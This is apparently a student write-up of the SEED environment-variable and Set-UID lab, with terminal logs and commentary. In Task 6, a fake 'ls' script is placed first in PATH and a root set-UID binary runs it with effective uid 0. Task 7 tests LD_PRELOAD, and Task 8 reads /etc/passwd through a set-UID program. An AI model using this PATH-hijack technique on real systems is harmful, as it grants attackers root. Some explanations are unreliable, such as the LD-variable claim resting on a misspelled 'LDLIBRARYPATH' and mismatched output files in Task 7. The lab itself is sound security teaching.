Environment Variable and Set-UID Program Lab

Task 1: Manipulating Environment Variables

printenv

```
[09/25/25]seed@VM:~/.../Labsetup$ printenv
SHELL=/bin/bash
SESSION_MANAGER=local/VM:@/tmp/.ICE-unix/2035,unix/VM:/tmp/.ICE-unix/2035
QT_ACCESSIBILITY=1
COLORTERM=truecolor
XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
XDG_MENU_PREFIX=gnome-
GNOME_DESKTOP_SESSION_ID=this-is-deprecated
GNOME_SHELL_SESSION_MODE=ubuntu
SSH_AUTH_SOCK=/run/user/1000/keyring/ssh
XMODIFIERS=@im=ibus
DESKTOP_SESSION=ubuntu
SSH_AGENT_PID=2000
GTK_MODULES=gail:atk-bridge
PWD=/home/seed/Desktop/SEED LABS/ENVIRONMENT VARIABLE AND SET-UID PROGRAM LAB/Labsetup
LOGNAME=seed
XDG_SESSION_DESKTOP=ubuntu
XDG_SESSION_TYPE=x11
GPG_AGENT_INFO=/run/user/1000/gnupg/S.gpg-agent:0:1
XAUTHORITY=/run/user/1000/gdm/Xauthority
GJS_DEBUG_TOPICS=JS ERROR;JS LOG
WINDOWPATH=2
HOME=/home/seed
USERNAME=seed
IM_CONFIG_PHASE=1
LANG=en_US.UTF-8
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;4
3:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4
=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:
*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=
01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;3
1:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.
mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.t
if=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2
v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=0
1;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*
.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid
=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00
;36:*.xspf=00;36:
XDG_CURRENT_DESKTOP=ubuntu:GNOME
VTE_VERSION=6003
GNOME_TERMINAL_SCREEN=/org/gnome/Terminal/screen/7a6c0990_83e2_4568_ac61_6c0469193f47
INVOCATION_ID=cc03f83fc556446c9fe912dc44a2eebb
MANAGERPID=1786
GJS_DEBUG_OUTPUT=stderr
LESSCLOSE=/usr/bin/lesspipe %s %s
XDG_SESSION_CLASS=user
TERM=xterm-256color
LESSOPEN=| /usr/bin/lesspipe %s
USER=seed
GNOME_TERMINAL_SERVICE=:1.139
DISPLAY=:0
SHLVL=1
QT_IM_MODULE=ibus
XDG_RUNTIME_DIR=/run/user/1000
JOURNAL_STREAM=9:34028
XDG_DATA_DIRS=/usr/share/ubuntu:/usr/local/share/:/usr/share/:/var/lib/snapd/desktop
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:.
GDMSESSION=ubuntu
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
_=/usr/bin/printenv
OLDPWD=/home/seed/Desktop/SEED LABS/ENVIRONMENT VARIABLE AND SET-UID PROGRAM LAB
```

printenv PWD

```
[09/25/25]seed@VM:~/.../Labsetup$ printenv PWD
/home/seed/Desktop/SEED LABS/ENVIRONMENT VARIABLE AND SET-UID PROGRAM LAB/Labsetup
```

export is a bash command that initializes and sets a value to that variable.

unset is a bash command that frees that variable from memory

Task 2: Passing Environment Variables from Parent Process to Child Process

```
[09/25/25]seed@VM:~/.../Labsetup$ gcc myprintenv.c -o myprintenv
[09/25/25]seed@VM:~/.../Labsetup$ ./myprintenv > out_child.txt
[09/25/25]seed@VM:~/.../Labsetup$ nano myprintenv.c
[09/25/25]seed@VM:~/.../Labsetup$ gcc myprintenv.c -o myprintenv
[09/25/25]seed@VM:~/.../Labsetup$ gcc myprintenv.c -o myprintenv_parent
[09/25/25]seed@VM:~/.../Labsetup$ ./myprintenv_parent > out_parent.txt
[09/25/25]seed@VM:~/.../Labsetup$ diff out_child.txt out_parent.txt
```

Now we look at the difference between them

```
[09/25/25]seed@VM:~/.../Labsetup$ diff out_child.txt out_parent.txt
49c49
< _=./myprintenv
---
> _=./myprintenv_parent
```

From this we can see that there isn't much difference between the two. This is because fork() duplicates the process memory so the child gets a copy of the environment array.

Task 3: Environment Variables and execve()

First try it with NULL:

```
[09/25/25]seed@VM:~/.../Labsetup$ gcc myenv.c -o myenv
[09/25/25]seed@VM:~/.../Labsetup$ ./myenv > env_null.txt
[09/25/25]seed@VM:~/.../Labsetup$ cat env_null.txt
```

From this with NULL, nothing is returned from the function.

Now modify NULL to environ

```
[09/25/25]seed@VM:~/.../Labsetup$ diff env_null.txt env_inherited.txt
0a1,49
> SHELL=/bin/bash
> SESSION_MANAGER=local/VM:@/tmp/.ICE-unix/2035,unix/VM:/tmp/.ICE-unix/2035
> QT_ACCESSIBILITY=1
> COLORTERM=truecolor
> XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
> XDG_MENU_PREFIX=gnome-
> GNOME_DESKTOP_SESSION_ID=this-is-deprecated
> GNOME_SHELL_SESSION_MODE=ubuntu
> SSH_AUTH_SOCK=/run/user/1000/keyring/ssh
> XMODIFIERS=@im=ibus
> DESKTOP_SESSION=ubuntu
> SSH_AGENT_PID=2000
> GTK_MODULES=gail:atk-bridge
> PWD=/home/seed/Desktop/SEED LABS/ENVIRONMENT VARIABLE AND SET-UID PROGRAM LAB/Labsetup
> LOGNAME=seed
> XDG_SESSION_DESKTOP=ubuntu
> XDG_SESSION_TYPE=x11
> GPG_AGENT_INFO=/run/user/1000/gnupg/S.gpg-agent:0:1
> XAUTHORITY=/run/user/1000/gdm/Xauthority
> GJS_DEBUG_TOPICS=JS ERROR;JS LOG
> WINDOWPATH=2
> HOME=/home/seed
> USERNAME=seed
> IM_CONFIG_PHASE=1
> LANG=en_US.UTF-8
> LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=3
0;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*
.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=0
1;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31
:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.z
oo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=
01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=
01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=
01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01
;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*
.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4
a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=
00;36:*.spx=00;36:*.xspf=00;36:
> XDG_CURRENT_DESKTOP=ubuntu:GNOME
> VTE_VERSION=6003
> GNOME_TERMINAL_SCREEN=/org/gnome/Terminal/screen/7a6c0990_83e2_4568_ac61_6c0469193f47
> INVOCATION_ID=cc03f83fc556446c9fe912dc44a2eebb
> MANAGERPID=1786
> GJS_DEBUG_OUTPUT=stderr
> LESSCLOSE=/usr/bin/lesspipe %s %s
> XDG_SESSION_CLASS=user
> TERM=xterm-256color
> LESSOPEN=| /usr/bin/lesspipe %s
> USER=seed
> GNOME_TERMINAL_SERVICE=:1.139
> DISPLAY=:0
> SHLVL=1
> QT_IM_MODULE=ibus
> XDG_RUNTIME_DIR=/run/user/1000
> JOURNAL_STREAM=9:34028
> XDG_DATA_DIRS=/usr/share/ubuntu:/usr/local/share/:/usr/share/:/var/lib/snapd/desktop
> PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:.
> GDMSESSION=ubuntu
> DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
> OLDPWD=/home/seed/Desktop/SEED LABS/ENVIRONMENT VARIABLE AND SET-UID PROGRAM LAB
>  =./myenv
```

From this we can see that there is a huge difference between using NULL and environ with execve(). This is because execve() does not implicitly pass the parent's environment, but rather we have to supply the environment array for the new program to see it.

Task 4: Environment Variables and system()

After compiling and running the given program

```
[09/25/25]seed@VM:~/.../Labsetup$ gcc -o mysys mysys.c
[09/25/25]seed@VM:~/.../Labsetup$ ./mysys > env_system.txt
[09/25/25]seed@VM:~/.../Labsetup$ cat env_system.txt
GJS_DEBUG_TOPICS=JS ERROR;JS LOG
LESSOPEN=| /usr/bin/lesspipe %s
USER=seed
SSH_AGENT_PID=2000
XDG_SESSION_TYPE=x11
SHLVL=1
HOME=/home/seed
OLDPWD=/home/seed/Desktop/SEED LABS/ENVIRONMENT VARIABLE AND SET-UID PROGRAM LAB
DESKTOP_SESSION=ubuntu
GNOME_SHELL_SESSION_MODE=ubuntu
GTK_MODULES=gail:atk-bridge
MANAGERPID=1786
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
COLORTERM=truecolor
IM_CONFIG_PHASE=1
LOGNAME=seed
JOURNAL_STREAM=9:34028
_=./mysys
XDG_SESSION_CLASS=user
USERNAME=seed
TERM=xterm-256color
GNOME_DESKTOP_SESSION_ID=this-is-deprecated
WINDOWPATH=2
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:.
SESSION_MANAGER=local/VM:@/tmp/.ICE-unix/2035,unix/VM:/tmp/.ICE-unix/2035
INVOCATION_ID=cc03f83fc556446c9fe912dc44a2eebb
XDG_MENU_PREFIX=gnome-
GNOME_TERMINAL_SCREEN=/org/gnome/Terminal/screen/7a6c0990_83e2_4568_ac61_6c0469193f47
XDG_RUNTIME_DIR=/run/user/1000
DISPLAY=:0
LANG=en_US.UTF-8
XDG_CURRENT_DESKTOP=ubuntu:GNOME
XMODIFIERS=@im=ibus
XDG_SESSION_DESKTOP=ubuntu
XAUTHORITY=/run/user/1000/gdm/Xauthority
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;
43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.l
z4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;
31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*
.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo
=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01
;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01
;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01
;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;3
5:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.x
cf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=
00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00
;36:*.spx=00;36:*.xspf=00;36:
GNOME_TERMINAL_SERVICE=:1.139
SSH_AUTH_SOCK=/run/user/1000/keyring/ssh
SHELL=/bin/bash
QT_ACCESSIBILITY=1
GDMSESSION=ubuntu
LESSCLOSE=/usr/bin/lesspipe %s %s
GPG_AGENT_INFO=/run/user/1000/gnupg/S.gpg-agent:0:1
GJS_DEBUG_OUTPUT=stderr
QT_IM_MODULE=ibus
PWD=/home/seed/Desktop/SEED LABS/ENVIRONMENT VARIABLE AND SET-UID PROGRAM LAB/Labsetup
XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
XDG_DATA_DIRS=/usr/share/ubuntu:/usr/local/share/:/usr/share/:/var/lib/snapd/desktop
VTE_VERSION=6003
```

From this we can see that system() propagates the environment because the shell is started with the caller's environment (the library system() implementation calls an execve() passing the caller's environment).

Task 5: Environment Variable and Set-UID Programs

After compiling the given program and exporting all the variables

```
[09/25/25]seed@VM:~/.../Labsetup$ nano foo.c
[09/25/25]seed@VM:~/.../Labsetup$ gcc -o foo foo.c
[09/25/25]seed@VM:~/.../Labsetup$ sudo chown root foo
[09/25/25]seed@VM:~/.../Labsetup$ sudo chmod 4755 foo
[09/25/25]seed@VM:~/.../Labsetup$ export PATH=/home/seed:$PATH
[09/25/25]seed@VM:~/.../Labsetup$ export LDLIBRARYPATH=/tmp/somelib
[09/25/25]seed@VM:~/.../Labsetup$ export MYVAR=abc
[09/25/25]seed@VM:~/.../Labsetup$ ./foo > foo_env.txt
[09/25/25]seed@VM:~/.../Labsetup$ cat foo_env.txt
SHELL=/bin/bash
SESSION_MANAGER=local/VM:@/tmp/.ICE-unix/2035,unix/VM:/tmp/.ICE-unix/2035
QT_ACCESSIBILITY=1
COLORTERM=truecolor
XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
XDG_MENU_PREFIX=gnome-
GNOME_DESKTOP_SESSION_ID=this-is-deprecated
MYVAR=abc
GNOME_SHELL_SESSION_MODE=ubuntu
SSH_AUTH_SOCK=/run/user/1000/keyring/ssh
XMODIFIERS=@im=ibus
DESKTOP_SESSION=ubuntu
SSH_AGENT_PID=2000
GTK_MODULES=gail:atk-bridge
PWD=/home/seed/Desktop/SEED LABS/ENVIRONMENT VARIABLE AND SET-UID PROGRAM LAB/Labsetup
LOGNAME=seed
XDG_SESSION_DESKTOP=ubuntu
XDG_SESSION_TYPE=x11
GPG_AGENT_INFO=/run/user/1000/gnupg/S.gpg-agent:0:1
XAUTHORITY=/run/user/1000/gdm/Xauthority
GJS_DEBUG_TOPICS=JS ERROR;JS LOG
WINDOWPATH=2
HOME=/home/seed
USERNAME=seed
IM_CONFIG_PHASE=1
LANG=en_US.UTF-8
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=
30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01
;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01
;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.
ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;
31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35
:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.m
pg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=0
1;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.x
wd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00
;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
LDLIBRARYPATH=/tmp/somelib
XDG_CURRENT_DESKTOP=ubuntu:GNOME
VTE_VERSION=6003
GNOME_TERMINAL_SCREEN=/org/gnome/Terminal/screen/7a6c0990_83e2_4568_ac61_6c0469193f47
INVOCATION_ID=cc03f83fc556446c9fe912dc44a2eebb
MANAGERPID=1786
GJS_DEBUG_OUTPUT=stderr
LESSCLOSE=/usr/bin/lesspipe %s %s
XDG_SESSION_CLASS=user
TERM=xterm-256color
LESSOPEN=| /usr/bin/lesspipe %s
USER=seed
GNOME_TERMINAL_SERVICE=:1.139
DISPLAY=:0
SHLVL=1
QT_IM_MODULE=ibus
XDG_RUNTIME_DIR=/run/user/1000
JOURNAL_STREAM=9:34028
XDG_DATA_DIRS=/usr/share/ubuntu:/usr/local/share/:/usr/share/:/var/lib/snapd/desktop
PATH=/home/seed:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:.
GDMSESSION=ubuntu
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
OLDPWD=/home/seed/Desktop/SEED LABS/ENVIRONMENT VARIABLE AND SET-UID PROGRAM LAB
_=./foo
```

From this we can see that some environment variables are preserved into the set-UID process, many critical loader-related LD variables like LD_PRELOAD, LD_LIBRARY_PATH, and other LD_ vars, are **cleared** by the kernel or the dynamic loader when a process is executed with elevated privileges (setuid), as a security measure. For example, MYVAR and PATH will often still appear, so the setuid program might see PATH and the custom variables, but LD_PRELOAD and other LD_* will not be honored. On many systems, the dynamic loader will ignore LD_PRELOAD/LD_LIBRARY_PATH in privileged execs.

Task 6: The PATH Environment Variable and Set-UID Programs

First set up the vulnerable ls program and give it the right permissions

```
[09/25/25]seed@VM:~/.../Labsetup$ nano vuln_ls.c
[09/25/25]seed@VM:~/.../Labsetup$ gcc vuln_ls.c -o vuln_ls
[09/25/25]seed@VM:~/.../Labsetup$ sudo chown root:root vuln_ls
[09/25/25]seed@VM:~/.../Labsetup$ sudo chmod 4755 vuln_ls
[09/25/25]seed@VM:~/.../Labsetup$ ls -l vuln_ls
-rwsr-xr-x 1 root root 16704 Sep 25 23:54 vuln_ls
```

Next make a directory and a fake ls

```
[09/25/25]seed@VM:~/.../Labsetup$ mkdir -p ~/maldir
[09/25/25]seed@VM:~/.../Labsetup$ cat > ~/maldir/ls <<'EOF'
> echo "----- MALICIOUS LS RUN -----"
> echo "real uid: $(id -ru), effective uid: $(id -u), whoami: $(whoami)"
> echo "I ran as: $(id)" > /tmp/mal_ls_id.txt
> ps -o pid,cmd -p $$
> EOF
[09/25/25]seed@VM:~/.../Labsetup$ chmod +x ~/maldir/ls
[09/25/25]seed@VM:~/.../Labsetup$ ls -l ~/maldir/ls
-rwxrwxr-x 1 seed seed 171 Sep 25 23:58 /home/seed/maldir/ls
```

Make sure that it is an executable file and then we set PATH to the malicious ls and run the set uid program

```
[09/25/25]seed@VM:~/.../Labsetup$ export OLD_PATH="$PATH"
[09/25/25]seed@VM:~/.../Labsetup$ export PATH="$HOME/maldir:$PATH"
[09/25/25]seed@VM:~/.../Labsetup$ echo $PATH
/home/seed/maldir:/home/seed:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
:.
[09/26/25]seed@VM:~/.../Labsetup$ ./vuln_ls > vuln_ls_run.txt 2>&1
[09/26/25]seed@VM:~/.../Labsetup$ cat vuln_ls_run.txt
----- MALICIOUS LS RUN -----
real uid: 1000, effective uid: 0, whoami: root
    PID CMD
   6690 sh /home/seed/maldir/ls
[09/26/25]seed@VM:~/.../Labsetup$ cat /tmp/mal_ls_id.txt
I ran as: uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmi
n),131(lxd),132(sambashare),136(docker)
```

From this we can see that the malicious ls did indeed run and we can see the id output. We can double check that the malicious ls run because if the attack works, the malicious ls executes and id shows effective uid: 0, meaning the malicious code ran with root privileges.

Task 7: The LD_PRELOAD Environment Variable and Set-UID Programs

First create the mylib.c file and compile the program with the following commands:

```
[09/28/25]seed@VM:~/.../Labsetup$ gcc -fPIC -g -c mylib.c
[09/28/25]seed@VM:~/.../Labsetup$ gcc -shared -o libmylib.so.1.0.1
mylib.o -lc
[09/28/25]seed@VM:~/.../Labsetup$ ls -l libmylib.so.1.0.1
-rwxrwxr-x 1 seed seed 18752 Sep 28 20:45 libmylib.so.1.0.1
```

Then we set the LD_PRELOAD environment variable and compile the myprog program in the same directory as libmylib.so.1.0.1:

Running as a regular program and as a normal user, we get the following result:

```
[09/28/25]seed@VM:~/.../Labsetup$ nano myprog.c
[09/28/25]seed@VM:~/.../Labsetup$ gcc myprog.c -o myprog
[09/28/25]seed@VM:~/.../Labsetup$ ls -l myprog
-rwxrwxr-x 1 seed seed 16696 Sep 28 20:48 myprog
[09/28/25]seed@VM:~/.../Labsetup$ ./myprog
I am not sleeping!
```

Now we make myprog a Set-UID root program, and run it as a normal user:

```
[09/28/25]seed@VM:~/.../Labsetup$ sudo chown root:root myprog
[09/28/25]seed@VM:~/.../Labsetup$ sudo chmod 4755 myprog
[09/28/25]seed@VM:~/.../Labsetup$ ls -l myprog
-rwsr-xr-x 1 root root 16696 Sep 28 20:48 myprog
[09/28/25]seed@VM:~/.../Labsetup$ ./myprog
```

From this, we can see that nothing is outputted by the program since LD_PRELOAD is ignored in Set-UID programs

Now we make myprog a Set-UID root program, export the LD_PRELOAD environment variable again in the root directory and run it:

```
[09/28/25]seed@VM:~/.../Labsetup$ sudo -i
root@VM:~# export LD_PRELOAD=./libmylib.so.1.0.1
root@VM:~# ./myprog > /root/myprog_root_run.txt 2>&1
root@VM:~# exit
logout
[09/28/25]seed@VM:~/.../Labsetup$ cat myprog_user_run.txt
I am not sleeping!
```

From this we can see that it returns “I am not sleeping”

This is because if you run myprog **directly as root**, the loader still treats set-UID binaries in secure mode and will ignore dangerous LD_* variables

Now we make myprog a Set-UID user1 program (i.e., the owner is user1, which is another user account), export the LDPRELOAD environment variable again in a different user’s account (not-root user) and run it.

```
[09/28/25]seed@VM:~/.../Labsetup$ sudo useradd -m user1
[09/28/25]seed@VM:~/.../Labsetup$ sudo chown user1:user1 myprog
[09/28/25]seed@VM:~/.../Labsetup$ sudo chmod 4755 myprog
[09/28/25]seed@VM:~/.../Labsetup$ ls -l myprog
-rwsr-xr-x 1 user1 user1 16696 Sep 28 20:48 myprog
[09/28/25]seed@VM:~/.../Labsetup$ export export LD_PRELOAD=./libmyl
ib.so.1.0.1
[09/28/25]seed@VM:~/.../Labsetup$ ./myprog > myprog_user_nonowner_r
un.txt 2>&1
[09/28/25]seed@VM:~/.../Labsetup$ cat myprog_user_nonowner_run.txt
```

From this, we can see that nothing is outputted. This is because the dynamic loader will ignore LD_PRELOAD for set-UID/set-GID binaries. The loader's "secure execution" rules prevent user-controlled preloading for privileged executables owned by other accounts, to stop exact attacks where an unprivileged user injects code into a higher-privilege binary.

Task 8: Invoking External Programs Using system() versus execve()

Compile and run catall.c as root owned Set-UID program using system() to invoke the command:

```
[09/28/25]seed@VM:~/.../Labsetup$ gcc catall.c -o catall_system
[09/28/25]seed@VM:~/.../Labsetup$ sudo chown root catall_system
[09/28/25]seed@VM:~/.../Labsetup$ sudo chmod 4755 catall_system
[09/28/25]seed@VM:~/.../Labsetup$ ./catall_system /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
